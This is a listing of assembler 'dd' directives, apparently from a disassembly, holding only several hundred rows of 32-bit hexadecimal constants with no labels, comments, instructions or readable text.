dd 9D4EC27h, 570BFF6Eh, 12479B77h, 0AEE515C2h, 2F972E2Dh
dd 0C2F96455h, 0CB74067Ah, 0F4EF5BC4h, 5B955897h, 7E15BF3Fh
dd 0EA3E9136h, 136ADDEh, 34BF0B9Dh, 163F56E9h, 82B6041Bh
dd 0EB30ABD8h, 0BFB23B3Fh, 2039B2E1h, 0C19D561Ch, 3F74D37Fh
dd 38781E95h, 31C8B7Bh, 79426990h, 0DC18F42Dh, 0BD626D2h
dd 9C5D53BDh, 0A84C95BFh, 93639404h, 7F0013Bh, 830D90F1h
dd 0D2B0B70Bh, 2F156433h, 8FD6348Bh, 1C6557DAh, 5F8A628Bh
dd 1434E5B0h, 64AED8D3h, 52BA01FBh, 72557D68h, 97A90093h
dd 0FAE9AA82h, 0F034D618h, 0DA51F7FDh, 93112003h, 0A4B0727Dh
dd 0E9066C93h, 0FB7DE0A9h, 0A80F70DCh, 12BEAA1h, 360D5851h
dd 0FD14B32Ch, 0E94E3AE7h, 1B9E4CBh, 7009DA91h, 0C0622D33h
dd 6CFDD380h, 942D0478h, 8013474Eh, 442AEABEh, 1526D698h
dd 0BE40E196h, 0F6B3DCC4h, 98C74F55h, 0DE25680Eh, 5A854632h
dd 8497F455h, 0EAC5B7D6h, 90320506h, 182E3137h, 5559627h
dd 5681AABDh, 7F5F5768h, 665E0A3Ch, 514EFA50h, 7612B22Ah
dd 5BF38839h, 43D0981h, 0E61D512Ch, 79159968h, 54DD34FDh
dd 0B5334CBFh, 40B32E14h, 2B0BD95h, 0D210F3BAh, 0F88AC335h
dd 4219362h, 0C90D3E2Dh, 5A88268h, 5CDA078Bh, 0C16FAB33h
dd 3D3FD959h, 0EC0D8F8Ch, 0B806B60Ah, 0C6FED6F6h, 16807408h
dd 4023E9FAh, 560D2D13h, 1245110h, 0D3023DF8h, 4068D477h
dd 2C63793Bh, 28216AF4h, 4B76148Bh, 0FC20C543h, 6DC26800h
dd 815E3DFBh, 726001E6h, 0EEC17614h, 77F64007h, 5A00880Dh
dd 0BD5E5856h, 58EC2337h, 0C130DFD2h, 0EE80ADA3h, 0CEFE8A1Bh
dd 6BE5F1A4h, 0CA24E076h, 0B65A125Ch, 9EE14A00h, 0B972D87Eh
dd 85A5355Ah, 0AD0383DFh, 9B10AFF7h, 3034D2Bh, 0D8D431F1h
dd 0A79E994h, 66097672h, 12D7E305h, 0FC0809C2h, 81BCA59h
dd 7E278751h, 7468507Bh, 80A7585Dh, 5DD93EE6h, 0B969850h
dd 0B6706D7h, 8F2C707Eh, 48052D3Ch, 3D0335EBh, 0FA5D4F2Ch
dd 70628D4Fh, 6744A731h, 0ACBE3256h, 0BF904156h, 131485CEh
dd 5C5159Fh, 577B6AD7h, 2B7004FAh, 0EBF3EFF4h, 0F892D3Ah
dd 5012084h, 5211A668h, 0A750ED98h, 0EAC65995h, 89E39DA5h
dd 18724C3Fh, 9D251A30h, 1591D0Dh, 0F005656Ch, 306D1947h
dd 443EEB0Fh, 2F615CA1h, 2F1F7059h, 0E47CE831h, 0BB571658h
dd 293804F1h, 205C0701h, 1A475709h, 0D37DADBCh, 5CC502F1h
dd 21607726h, 57827E76h, 0A0830562h, 11E238B9h, 7B0C078h
dd 84A5509h, 982AF814h, 0C0D43455h, 8021FA5Fh, 0C525D779h
dd 417A63Bh, 1A41ACEh, 586009F1h, 37E75AE8h, 0BC54A5DEh
dd 5EE6B4ECh, 0D0791916h, 0B755281h, 7AC5Ch, 132002E2h
dd 81B4B5E9h, 34C52E5Dh, 4AF64081h, 7C525901h, 0A55076Ah
dd 45E5669Bh, 5EFC9D52h, 9462E2E5h, 0C35F2905h, 43A85496h
dd 82B7DE20h, 4A9FE6DCh, 0F5BB4251h, 1A497866h, 0BBBE00AEh
dd 8170742Fh, 1C5709F6h, 13C014DEh, 0EA2D2EA9h, 404FD42Ch
dd 187648Ah, 4B96F80h, 0DA89F0BEh, 0D790FF5Bh, 2D151AF2h
dd 2B74D02Bh, 0D44D4909h, 29687A18h, 0F9023051h, 0E94D5D3Dh
dd 7045E71h, 3338EC80h, 0E6820EF4h, 38FECFC3h, 449ABA00h
dd 0BD550971h, 0D7370058h, 64CD812Bh, 2F504763h, 442C0F93h
dd 0B208B6AFh, 1F68055Bh, 0C103BC33h, 66B7727h, 5455C2F7h
dd 289CADEh, 331336A8h
dd 0BAA43BE1h, 4607960Dh, 57F19E27h, 45601E58h, 23215F6Dh
dd 0BCC953A7h, 5862315h, 0CE8899B1h, 63A90D81h, 0F1AA306Ah
dd 0D7B40112h, 219718BCh, 1DFAEB65h, 8153F569h, 1A2FF8CBh
dd 601601Dh, 0C0841004h, 0DDE125E9h, 0C8F7047Eh, 1A2BE36Fh
dd 565C1B22h, 0EF66CCD1h, 5C2902BFh, 48AD5952h, 37234083h
dd 810E7ACDh, 0B810AFE1h, 107DE90Ch, 7553C39h, 250BD6A2h
dd 252926B3h, 4AF4D845h, 1932BE02h, 0E30E0B10h, 49936862h
dd 80694FF4h, 817226F4h, 637C0CEEh, 0E0C4A66h, 54797F05h
dd 9EADE94Eh, 0A770A94Ah, 8DCA8CA4h, 17EF680Ch, 0D9DBA21h
dd 1F408B01h, 0C05F4505h, 1894F532h, 0CC02BF8h, 8DC5035h
dd 0F9EF4F01h, 0DD778A43h, 0FE94D96h, 0C03BCC85h, 0E9CD319Ch
dd 2B0CA5Dh, 2E2F75BEh, 3BE1F038h, 944B7A69h, 334AF4A7h
dd 9280D238h, 6585F101h, 459FFFh, 6851575Bh, 4BCB5AE4h
dd 4C15F61Dh, 0A81D78D9h, 0AAACD16Ah, 91A6FB05h, 278CFA04h
dd 74C3F5BCh, 0F603DD68h, 49354DC2h, 5013C971h, 258D058h
dd 0E95C1761h, 0ACA230D6h, 0AF536AFEh, 41196842h, 80B8493Bh
dd 79BA1A0Dh, 8AB3E39Ch, 226B56B7h, 74EBF6A0h, 0C02206C1h
dd 0C3E406E3h, 51660E8Fh, 0A117F2B5h, 4DE10268h, 8A17BE44h
dd 46138590h, 0E46C1AAh, 43657E95h, 0FBD261A6h, 873F478Dh
dd 8DC9246Eh, 74C6E132h, 0BD09BEDCh, 226581Bh, 559B2E45h
dd 6B980EC6h, 0D7F93341h, 0DD2F6D22h, 1F02DCD6h, 423AAD76h
dd 8E90826h, 0F0BEE909h, 9D9398C9h, 5D5E944Eh, 680976CBh
dd 0D21B188Ch, 112885C3h, 0A170AD54h, 0EC565697h, 5F29683Ch
dd 0B29FFD15h, 11105A26h, 23DA0D00h, 0DD2D5056h, 2A8B0317h
dd 5E3E64F0h, 0A9F3B3h, 0D001C780h, 766866EFh, 5386E9F3h
dd 4E207EE9h, 552D7190h, 0EC1C5E21h, 1827E9B5h, 73065C45h
dd 79D161F1h, 19A10B50h, 0DDA0045Ah, 1D898BBAh, 99C06EC5h
dd 5DE889CFh, 0D336C148h, 30319D4Bh, 0D713EB92h, 0ABF430h
dd 77A80549h, 0D0454B1h, 6A827DA7h, 9204D4C1h, 4EC20004h
dd 0F707513Bh, 0C0A0DD4Ah, 0B4B9DE9h, 0AF5EB49Fh, 0A3FBB3C4h
dd 40E985FAh, 0C101E490h, 0F2BF0557h, 8526E277h, 0BE1A94D8h
dd 8A0C349Eh, 1DE1012Fh, 4CB97009h, 0D482FD5Ah, 4CDD05F7h
dd 0E529A085h, 6A2F1762h, 14988429h, 6F846308h, 8457F2FAh
dd 0BF12BEA4h, 0F1EA0064h, 73ED3E90h, 57BE92A4h, 0C7DFEBA9h
dd 48B9A902h, 7C7D10EFh, 0ACC75Fh, 29165839h, 3149064Fh
dd 8641E4D2h, 0C49077E2h, 262F685Dh, 7286765Fh, 1E73607Dh
dd 4510CC8Eh, 739F7EF2h, 10FB1A65h, 80823A55h, 0F4373018h
dd 12D6A048h, 280A0B43h, 0E18BD7F7h, 6C75E7C2h, 2A722078h
dd 8CCC5C5Fh, 50CEFA56h, 5F29DD0Ah, 0C176B2CFh, 9637E9FAh
dd 48390A69h, 2E35D881h, 3F3ED905h, 0B76AB9C1h, 3BB3E57Bh
dd 82E444F9h, 550901B4h, 1E2F3E82h, 7DC21E48h, 51D7E212h
dd 0FF4E24FFh, 2BDACFC4h, 957F1D58h, 7D5CA332h, 5ED922AFh
dd 20906CA0h, 0BB006E70h, 12783E93h, 0B05BDE29h, 7629D6Dh
dd 0F69CA1FEh, 40AF54C4h, 0DE75C0EBh, 5C1EA539h, 0C00908BBh
dd 64A2F77Eh, 0B900B53Fh, 5CA3180Ch, 3A063D63h, 0C515A24h
dd 21446212h, 0EE9B12AEh, 0B4E06689h, 0D8B6A9ABh, 8262A6FCh
dd 0D3024E5Eh, 8937952Dh, 9554709Ah, 846FDB74h, 299774ACh
dd 7FA49E65h, 5F750FF1h, 0F642C11h, 3ED8EE68h, 3F728419h
dd 8920B081h, 0BEF8F2F6h, 1DBF0139h, 0E305993Eh, 4C2F19A8h
dd 0E9E3D106h, 0B7227A0Bh, 7123A0C0h, 89E85E5Ah, 21034648h
dd 31149928h, 0E6D15DC8h, 0EDF0E917h, 6312C9A9h, 576888AAh
dd 1E226805h, 0ADA26E16h, 92F7879Dh, 0E929A12Ah, 301E6801h
dd 11BA7A50h, 4B147C5Ch, 0FF4CC515h, 69F8CADDh, 0C4F99FEBh
dd 0F5D45247h, 7C835FE0h, 0C2EF9CEDh, 0B5081892h, 0B02ECC28h
dd 52897256h, 0C0BFFE54h, 0D83FF9B8h, 20464D48h, 0EE8012B1h
dd 0DE86ACDFh, 0A91F64Eh, 7E4F1FF4h, 50E99003h, 0C03801F5h
dd 0A92C03E0h, 61456134h, 0E55E30F9h, 30E706C0h, 722C5BFEh
dd 0B8CD4EEFh, 0E0E574F9h, 484ADCE9h, 18535898h, 0D50F1E68h
dd 928310A6h, 0A70F51EEh, 0E9E73E51h, 2F85D4A9h, 0A9F20D5Ah
dd 0AA88954Fh, 55651797h, 0D941FA1Ch, 5FD70F08h, 1F4C9F74h
dd 3DD468C9h, 2F80D054h, 15DE56F2h, 2C7B3C88h, 29D56B21h
dd 4B16D505h, 0B7E2EB0h, 8E8D1E9Dh, 9C8D24E0h, 0AB5E93A2h
dd 0D38274D4h, 28F9F20Ch, 3806DCD6h, 0FE4A3428h, 52C2C967h
dd 0BEB3712Ch, 93E4F75Ah, 0A6FD991h, 3027EE14h, 0C86B6A03h
dd 544AE9D1h, 73E4894Fh, 30E8C6BDh, 883962E5h, 28E23BECh
dd 66259659h, 0C25BDE5Ah, 6801E765h, 0F3884270h, 79275D71h
dd 4FC94F9Fh, 7FBE42C1h, 0B8E1DC24h, 77D955F5h, 9E10B84Eh
dd 0F8532518h, 567C6F76h, 1806A186h, 42275E76h, 21D14826h
dd 1A3C2E53h, 90131319h, 22D1FD04h, 4B87C55Ch, 0A5273DBFh
dd 1B1EFD0Ch, 58201998h, 0BD54E40Eh, 0B3AC8873h, 165AEB70h
dd 6406802Ch, 0EC7ED4EEh, 5635F28Eh, 0AF8B1ED9h, 2B70205Ch
dd 8835BE8Ah, 0DE2F6F3Eh, 52FC09D4h, 0AA3F7D51h, 0BE079FE6h
dd 47FD061Eh, 9CFCF1A5h, 0EFE38913h, 0F2969179h, 0E86C53E6h
dd 0EEE2A73Ah, 9661C8E2h, 0AC754F17h, 5602311Dh, 47D1445Dh
dd 9BC23007h, 0E130E9D6h, 61ED6D5Ch, 553F0951h, 4E01F501h
dd 80BB03B0h, 4E08EA1Ch, 55E9469Ch, 0D641EE84h, 0FF05A773h
dd 0B41C8B8Eh, 491271Eh, 3B2165D3h, 0E913788Fh, 2C0945C5h
dd 0ECB88EBh, 26684940h, 0CFE8239Ch, 0CC3225C5h, 81004F8Dh
dd 0E29CB5EFh, 0B7FD8933h, 2E5FED99h, 0BBC06CECh, 5DE31A77h
dd 81DBF700h, 0C8C7EF3h, 7DE925BEh, 3E5513E1h, 0E4A650EDh
dd 0D5D20F30h, 301A71F1h, 14E0037Eh, 209FE10h, 0D3B459E9h
dd 38ADBD88h, 5FFEC3C8h, 2D5A65B5h, 0E9C2F9F4h, 565A7406h
dd 0BA5F12A2h, 0E7CD8551h, 0DB68C461h, 0C9F20E04h, 0A480D00Bh
dd 5B508BC2h, 0D4F85A51h, 0BA122B51h, 0CEEAD101h, 798F3518h
dd 0E12B23C9h, 4BE8621Ch, 38B81F9h, 3BF48DC2h, 0C1538496h
dd 0DDE810Fh, 596E40BBh, 0AFB616h, 2C7991BFh, 3AFB713Ch
dd 36C7230Bh, 2F67F50Eh, 0C12157A6h, 23A434E9h, 51A44B06h
dd 0FD251E30h, 510B223Eh, 50F9477h, 51B55DDFh, 48744E80h
dd 0EE81467Eh, 10D7062h, 7A32FDF1h, 68CF9977h, 0B72E5FF5h
dd 0DFE9099Ch, 0CF095937h, 8A92EC9h, 76E41075h, 215F8174h
dd 6131CD59h, 13907C6Ah, 31BF6C79h, 0A0D5FD64h, 72FBA10h
dd 8D971134h, 105998A6h, 5256006Dh, 98329668h, 0C65A5042h
dd 4129389Bh, 0D32099DCh, 25516812h, 0C904D2B3h, 0EB6D8D42h
dd 48C7D10h, 65228F68h, 5A56BBh, 45C82F38h, 0FCB1C9E9h
dd 180FBD28h, 8B436253h, 4E5458ECh, 5A5EA359h, 0FEF5E0BCh
dd 0E8051685h, 0C8BEEED3h, 0D7265111h, 0FEAFE96Ah, 3576D293h
dd 35539DE0h, 8818477h, 7C27D95Fh, 0B652096Bh, 893E078Eh
dd 287BC630h, 345A2CF0h, 1B15048Bh, 0EEBDA401h, 82033E5Dh
dd 0F4397368h, 3B2D62C7h, 92657FD6h, 5D31C349h, 0FBFC60CCh
dd 0DA15213h, 7DC01901h, 0C9F03668h, 62200274h, 0FA29E96Dh
dd 0CF004E52h, 190926E7h, 0FE08EFC1h, 88F05AA8h, 0F80329E6h
dd 5F529A05h, 82EF954Fh, 5E011E23h, 6320B850h, 0D090012h
dd 30D071FEh, 60CE8C1h
dd 28CFDDE9h, 972DE5Bh, 57E8EE82h, 6C5E27AFh, 82DE6BCh
dd 2013DD7Ah, 2204723Dh, 13F8E02Ch, 56355FC4h, 12C56308h
dd 598AF5Dh, 50A8592Bh, 169AC0Ch, 560EBD6h, 47349FA8h
dd 4E9EDE02h, 0F7070E0Dh, 400BF754h, 80E91F93h, 0BD0E1296h
dd 8A3C466h, 4E547CFCh, 22C85E21h, 0CD6BAE08h, 3EE2D9A9h
dd 0E7D62EADh, 11B24ED5h, 3A4EC1C0h, 985A6876h, 85D8A44h
dd 0EE225A0Ah, 3650D869h, 0ED00C290h, 27E55A4Bh, 9777F2E9h
dd 7909EE7Bh, 0E2347637h, 0EEC8115Ch, 0C0123E58h, 0F2ED0129h
dd 0AA55907Fh, 18145DFFh, 7EE95409h, 69CC5EC3h, 4CCA8210h
dd 5A49637Bh, 54E98246h, 11036869h, 25DFC51Eh, 0A2BF34Dh
dd 0BE1A425Bh, 48C4DB39h, 0EF4AA6E8h, 18830829h, 43357708h
dd 0EA50B878h, 0E9275E08h, 68F7406Bh, 6A3E3D0Fh, 1763BCCAh
dd 0CFE963C8h, 0E00C8504h, 0E282E45Ah, 265F2A40h, 8028CF29h
dd 9DD635DBh, 0AF93FE89h, 2B01FA4h, 901522E9h, 485870E2h
dd 0B9FDEEBh, 1418F0ABh, 2216B52Dh, 0F9B1C80Fh, 17D6FD60h
dd 0EB5E3651h, 55689220h, 9380946Ah, 0DCE14906h, 0C45A82DFh
dd 0C868C2A2h, 78DE3186h, 0EE1B2F5Bh, 0F368725Eh, 99387D27h
dd 194EA4E9h, 2CD96A42h, 0FFBBC25Ah, 522DAA60h, 0C5862E97h
dd 81004AC6h, 0F40B0C9h, 4149262Bh, 679A0B2Ah, 9222FC56h
dd 65184AE6h, 9D5603D8h, 133E260Dh, 0C15F0B16h, 0D060238Fh
dd 88102D40h, 0D6395028h, 85061B13h, 0E6C2070Ah, 65BD0820h
dd 4D58AA03h, 0E64FA76Ch, 12259615h, 10138BAEh, 0C0488BABh
dd 3CF4F620h, 8C773A5Fh, 44FA6B2h, 9093AB51h, 66F2C874h
dd 5BDA0035h, 6C0D121Ah, 2C038F02h, 7440A805h, 6D13FF62h
dd 9F2DA8B3h, 0BDD0273Ah, 0E56EC042h, 0E8CAAEBDh, 6BA0E09h
dd 2DC0E2AEh, 25310E70h, 0A9A4295h, 0F5425007h, 2AF39BC2h
dd 0B0F45BB7h, 1FE309B0h, 5B567A3Fh, 38CB8100h, 986BFE53h
dd 0BF9D09A8h, 8D843507h, 0AD07CDFBh, 0A8C6C55Eh, 0A94A2018h
dd 76EBA00h, 0D631221Ah, 0BC40955Ah, 2B0D901h, 0B6F32624h
dd 5D3BFE8Bh, 0B29C3714h, 6A36BF07h, 75297862h, 7BCD3979h
dd 0E9F2807Fh, 0C697A905h, 7459BD75h, 68E123C8h, 322B0B7Dh
dd 6EEA4A13h, 4A6C5175h, 0EAF02D09h, 306BB40Eh, 84EAD2E6h
dd 11DAC241h, 0B3ED0D61h, 0E548502Dh, 28359D04h, 41AC53F0h
dd 8E052BF8h, 13BEEA83h, 0A1D6B891h, 0B900DFC9h, 0ED252762h
dd 0A4C208E5h, 16F5280Eh, 4F048AAEh, 8589FCEDh, 0ED83B9C0h
dd 0EA31011Ch, 0C517D59Fh, 84E31522h, 4081B5B8h, 0F20473Dh
dd 98142695h, 51E200E8h, 0E93B4533h, 3F2E782Eh, 0F35EF589h
dd 0A1D81293h, 0D8E72D59h, 70EA6895h, 757E9F13h, 0BD3E5759h
dd 0E82812A9h, 0DAD49A5h, 53029C90h, 67E0E917h, 939129BBh
dd 0A9164B32h, 0A3BF0EABh, 0AF85937Dh, 1077AE5Dh, 7E6E68B1h
dd 0B685C63Ch, 29D8FA33h, 0C6082702h, 0E9124FC4h, 165297BEh
dd 74B30717h, 0F0656100h, 0EAD6E969h, 50021BAh, 816F251Fh
dd 253D2DF3h, 4ADE7BB9h, 0B1EF7689h, 0A67B1423h, 165D48ABh
dd 0C861011Ch, 652F50F4h, 508AAF40h, 0AA525518h, 88AC28Ch
dd 0BA807393h, 1FF854EBh, 1B0E07BFh, 39310FD7h, 76E20CDEh
dd 124EF16Ch, 10C0BA5Dh, 0B0B4033Eh, 0ABC20B7h, 9028F24h
dd 8EEFDE12h, 0F7BD5EAEh, 0FCF4E9C2h, 0CDE229C8h, 7E957713h
dd 0F7CC7CFCh, 0F3A05A06h, 0DCB9E5CFh, 0ED913113h, 0E82FC630h
dd 99BEE57Ah, 0B93520F1h, 0B6FA489Dh, 1D1A92ECh, 0E2248BEh
dd 5EEFF531h, 84880637h, 0C51F0A4Bh, 21C699DFh, 0E8125DEAh
dd 7B497EB1h, 0FED39252h, 7D254F7h, 62D29D5Ah, 3433D430h
dd 0FA42A4E5h, 0D155C64Dh, 0F5180A2Bh, 0BD156741h, 1A0BC757h
dd 84F7FB68h, 6EED4D28h, 0F1D35A76h, 0B32C6B66h, 9F5D412Eh
dd 0BF49C56Ch, 58315E31h, 5E5B4FE0h, 1309E0D3h, 0F9E37F64h
dd 0CA20C440h, 5EA813E4h, 799741A4h, 2146B975h, 0B6F1F4F9h
dd 953CBD9Bh, 13822FCh, 3DED6853h, 0F63878D5h, 2A131139h
dd 6F5FA187h, 77212080h, 20BCB81Ch, 2D04DD59h, 235E31Dh
dd 61932487h, 7074765Bh, 0FC135D68h, 0E9130F90h, 4F1AB81Dh
dd 38F329AAh, 0E3BFE408h, 2A0712ACh, 6D070CB9h, 0B3226241h
dd 1602280Eh, 0CD46D768h, 0F15CE01Eh, 956432B1h, 0D47C20B6h
dd 4703B801h, 58707AE0h, 56550289h, 12F6E965h, 756B6854h
dd 0D2B4EE9Eh, 5A2AE978h, 59D3F70Dh, 52F85BCEh, 3AB599E4h
dd 8110888Bh, 74E1076Ch, 0E9E21EFFh, 5CACA475h, 74752A4h
dd 0D8518624h, 6857302Dh, 11500D16h, 0A5ED48Bh, 5E76639h
dd 0A23F10C6h, 2845B350h, 5A4F0B35h, 0E7A53585h, 2A1D30h
dd 2D658440h, 3CB523FAh, 7242968h, 0C612F72Ch, 68652CFBh
dd 0C6032527h, 0B813278Ch, 7CE5B820h, 811A1E45h, 540DE1EFh
dd 14DD2743h, 80035AB8h, 7BF0BE7Eh, 0BD588B01h, 69293DB2h
dd 0EB5E1130h, 8926B83Fh, 26F77481h, 13A548D2h, 1E8FC78h
dd 0D91B33BFh, 0C47B4F5Dh, 24FCF0DBh, 3C792C05h, 0ECE9BAE9h
dd 41BEEB02h, 0E077600Ch, 1E2B74FBh, 25E905F3h, 112D43D4h
dd 0B2351D57h, 0C398E36Eh, 5E5ED0E9h, 2F53EC16h, 16A75C01h
dd 3B00E151h, 0E4A597A9h, 164C529Dh, 70C6853Ch, 8B9687B8h
dd 80532EA1h, 0E788A200h, 9EF7C1E9h, 0F6C588FEh, 0E6BAE025h
dd 76587528h, 59CB80Ah, 0E9A7C17Fh, 25B1E8D1h, 9695EADh
dd 0F21A52E6h, 84FE7AE8h, 0C52DA4BAh, 0CFCCF001h, 0F52B0506h
dd 22204350h, 41683888h, 0E6259FC9h, 70BDD050h, 0B90AA014h
dd 15AC275Eh, 68C07FFEh, 0E074E50h, 0D505E960h, 65D9FB12h
dd 0E89E83Fh, 6F051974h, 0E66CC968h, 0CFAFBB0h, 292E4926h
dd 3A1294ABh, 9F6889B1h, 8E09E9A7h, 2CFB6CAAh, 4C54E5A2h
dd 70D05DFEh, 0A5F749ABh, 0DACAFB59h, 1839EE02h, 98841A11h
dd 10F6F3D8h, 8813680Ah, 793291EEh, 0C58F8085h, 253E6856h
dd 0ED145B5Ah, 0A0ED8078h, 3A0FC51Fh, 3CD771E9h, 480DF102h
dd 1B5C66CAh, 117F4300h, 0D88B84E9h, 4A015023h, 58057C02h
dd 0EC27BD68h, 2C6D7C9Dh, 0BF6033Fh, 0BA5D1ED8h, 0B807F4Ah
dd 57BA6806h, 0F27533BDh, 342D0076h, 22009126h, 0D305D0F7h
dd 1BD815BDh, 895B5AE9h, 8F079AB0h, 846BE09Fh, 7A95258Eh
dd 18207552h, 0EB2117DAh, 47D91E5Dh, 6F75383Bh, 1391520h
dd 110E2D25h, 0F330ED6Ah, 58075210h, 788C13E9h, 616938D2h
dd 0FB3C1805h, 56643135h, 0C7241C43h, 0F417C26Ch, 9B4B80F2h
dd 2C7E8A43h, 7989F700h, 0E9474E0Eh, 0B32B4ACCh, 0B64983Fh
dd 62112E5Ah, 5A5D1091h, 0E7C91CAAh, 0D5F1E04Bh, 46283AD0h
dd 0F11345A3h, 1DE92BEFh, 0A66F96A4h, 3E097318h, 805FF88Eh
dd 5C0B6DD7h, 7ADBF732h, 3BC301D5h, 0EDE95DBCh, 0BA882B87h
dd 0B728F251h, 1A0E1E89h, 64C48042h, 95CFE1h, 0B858C720h
dd 9D3DF4B0h, 3BDA105h, 891D0DB1h, 0D137C4DFh, 2B5B542Bh
dd 88770EF7h, 0FAFE2DEEh, 26126756h, 0DEA684D3h, 8930D998h
dd 4D06FAF0h, 2106FF8Ch, 1459146Dh, 99586440h, 60FB0944h
dd 3192C779h, 5551D181h, 0FFF2A6FDh, 0F364D1E6h, 0D6ACD368h
dd 40588940h, 120968A6h, 31246F1Ah, 736331B7h, 19A550CCh
dd 0B69D7692h, 0BCE392ACh, 0C205C2AEh, 58BA2D00h, 353B0282h
dd 0F72A4E75h, 0EAC448D5h, 4ACD7DAEh, 6A72A159h, 0E05EAEF3h
dd 5018F3FDh, 5C2C32F6h
dd 0CA6D2E27h, 90E989E3h, 82BB4C60h, 9D0EFB12h, 39A44161h
dd 21D0F601h, 14B82000h, 389F7165h, 3C8782A0h, 8B134BDAh
dd 0D4CAA922h, 0DE921609h, 65AEF561h, 0CAEA85C3h, 0F541C984h
dd 5C801A6Ah, 14AD6510h, 80E2C495h, 95744CD5h, 8CCA45F9h
dd 9489107Bh, 13EE5AD3h, 3E9FBB52h, 0DD415025h, 0B962A683h
dd 0F0279D1Bh, 5BD528C0h, 39CCC07Dh, 294ADD0Fh, 0E4608A81h
dd 0BF77317Eh, 13D36FD7h, 1628F0C6h, 0F35B5F25h, 7B8750A6h
dd 11E02018h, 69570B26h, 885FAE97h, 291F089Bh, 0E9C068AFh
dd 955D98F7h, 73D1E01Bh, 73D32D5h, 26D008E1h, 3B4359B3h
dd 662C823h, 6C7FF12Ch, 1341A1B7h, 0D881AE04h, 777F0F76h
dd 12ADBEF2h, 281B4816h, 0EFC38660h, 5FC264B1h, 6917015Fh
dd 34315735h, 22E488F5h, 2B2D1300h, 0E92CA220h, 3CCC600Bh
dd 0AD59F2BFh, 0D968690Bh, 0E93B186Bh, 16F4BC93h, 50DDF4B8h
dd 65E8D290h, 0CB6A0983h, 19D0F10Ch, 854B6706h, 80EA317Bh
dd 0F2204D83h, 82ACA26Ah, 0E353DE67h, 0A05B9777h, 0D4EAF67Bh
dd 0B0274E8Bh, 0E001D165h, 5CEF135h, 0B47B093Bh, 61230A0h
dd 0C2AFA936h, 177C14E7h, 7582FF47h, 55226441h, 97309FB9h
dd 25A1B4AAh, 45B724F8h, 0F3668074h, 0F831357Eh, 173FCD97h
dd 7822A3F0h, 792F2725h, 0ADE9419Eh, 1B392B58h, 0A9FA32Bh
dd 0EB72FD68h, 0A2EE18Ch, 0B22C5E31h, 0C2EF3454h, 3C6EE6BBh
dd 0ABEC4A56h, 6ADCA5F4h, 0B540CE88h, 96570C62h, 9DFB9847h
dd 2CA5190Eh, 6730AED6h, 4C2F7AB8h, 0FD5A453Ch, 2D3D5924h
dd 0D1C62BFDh, 68590285h, 0D3DC61F2h, 0DE02B1CAh, 403E5830h
dd 67065EEh, 0E2C1174Eh, 6490607h, 0D7A009FAh, 0BF3A702Bh
dd 8F763E8Bh, 95264452h, 309B0670h, 4A434F17h, 202CEA80h
dd 0E7051C06h, 885AD530h, 9CB72A0h, 0BA76820h, 4D201446h
dd 0B4F778C3h, 997BD31h, 0C7E32C6Bh, 0FA7F9C05h, 9DFD57A7h
dd 49EB484h, 30A9C368h, 32C8D327h, 7014C9F6h, 58A3D05h
dd 168B0B06h, 4038108h, 0C34F2595h, 0A3E4BBECh, 0B75E104Ah
dd 37EA3860h, 0BB046CCDh, 0C23C508Ch, 0FD3E3C0h, 29762E2Bh
dd 0B608A02Dh, 5BFE0252h, 9BFD62F6h, 0A1260570h, 0E86C2856h
dd 3C7C059Fh, 8AC6E97Eh, 0A595C26h, 2D2EEE06h, 0CE7F1669h
dd 1096A82Fh, 4F6168DEh, 0AF353142h, 60F6DB3Ah, 2F207C01h
dd 4F8F6813h, 29C5302Ah, 46086939h, 19BCE9h, 8058C128h
dd 2C393AF1h, 0DCCE27D3h, 0FC763199h, 4C26AFCBh, 6BF10198h
dd 87E967D5h, 0C3D781F8h, 11DA65B9h, 12CB943Eh, 189C0908h
dd 0C82A1A30h, 1BF10D7h, 0FB0B9A11h, 2B6C316Ch, 31BA1813h
dd 4EF7632h, 0A62B84C9h, 94D21509h, 0AB26508Bh, 0B15833A9h
dd 0EC321A25h, 2F26B601h, 0FD59304h, 2F7B318Ah, 0F536C78h
dd 103493BDh, 12AEC3B4h, 0E056A46Dh, 66E881ECh, 3AA9701Dh
dd 5A938BBCh, 25D4FEEBh, 0C265DB79h, 0FF4E29ECh, 0F8EBB24Bh
dd 5ACE39F9h, 0C09B02F6h, 0B3E903EEh, 0FE9D29D8h, 25AB78AAh
dd 6ACE17C0h, 95475519h, 3050DE19h, 0D48AD36Eh, 4D9E9D9h
dd 0E0A1CC2h, 46D3E2A6h, 7A54F63Fh, 0FE0B2EBCh, 0F2F8660Fh
dd 87436077h, 3B9906F6h, 0BECEF89Dh, 207E25DBh, 24987E6Bh
dd 6336006Fh, 0F6E9075Eh, 0D02FDFB4h, 2D5B0389h, 4C7C2BD3h
dd 0EB49C9F2h, 26D72A89h, 98FE8FB4h, 21287F7Bh, 1CB41201h
dd 3BBF5700h, 977A484Ah, 0B8A47DDCh, 1EE6D212h, 0ED6B9112h
dd 868A042h, 4B1ABF30h, 5D167E44h, 0D4BEEA01h, 337DAB80h
dd 7DE4AC02h, 0CCC56B44h, 8B3A131h, 0B2189F58h, 5DF1430Ch
dd 3C575F04h, 79BCE1C1h, 6363507h, 8CF9E46h, 915B423Fh
dd 0E05F6539h, 82F270B1h, 0C8804558h, 1BE45B8Bh, 0BA050B90h
dd 46564D73h, 880FE85h, 0E64CC89Ch, 806CB731h, 0F955AEB0h
dd 0B1A67E95h, 1578FF8Bh, 6710BA07h, 96A21E8Ch, 0CC0E4D6h
dd 1CB60622h, 5A7ED87Ch, 0BB536901h, 79E32A26h, 7D58ED3Fh
dd 0F218CB12h, 8F05AEF9h, 0FA50C05Fh, 44C57597h, 4F5E0C23h
dd 0BE38981Bh, 0E44AFA06h, 71392938h, 0BD969F5Eh, 1CB74076h
dd 5F5DB09Eh, 15178A9Bh, 84E727DBh, 0F117D7ACh, 7DD680E3h
dd 29F18D59h, 0D462CBDEh, 4B95C2FBh, 74A0768Eh, 8808776Fh
dd 0C8540173h, 0FF5A160Ch, 274E1B70h, 0D7716006h, 11CAEE9h
dd 0F61758B3h, 0F9D713A9h, 54CD054Bh, 8701025Fh, 40383BC5h
dd 0C67CA23Bh, 97BF44E9h, 621C9B5Ch, 5D486645h, 8F8E38F9h
dd 8172FBD3h, 9F45445h, 0B3895750h, 69699D8h, 0BA46E9D0h
dd 0EC800001h, 58E730B6h, 9798D7F6h, 4BD45352h, 5F2B05F5h
dd 9E20FDA3h, 2FC0E495h, 0DD56679Fh, 9BDEF378h, 5456091Dh
dd 57537A30h, 0A745683Ah, 9F716021h, 0C7308019h, 5E3D5CB1h
dd 0E67E27B1h, 11367CEAh, 798AE99Dh, 0E542C56h, 69ABC1CFh
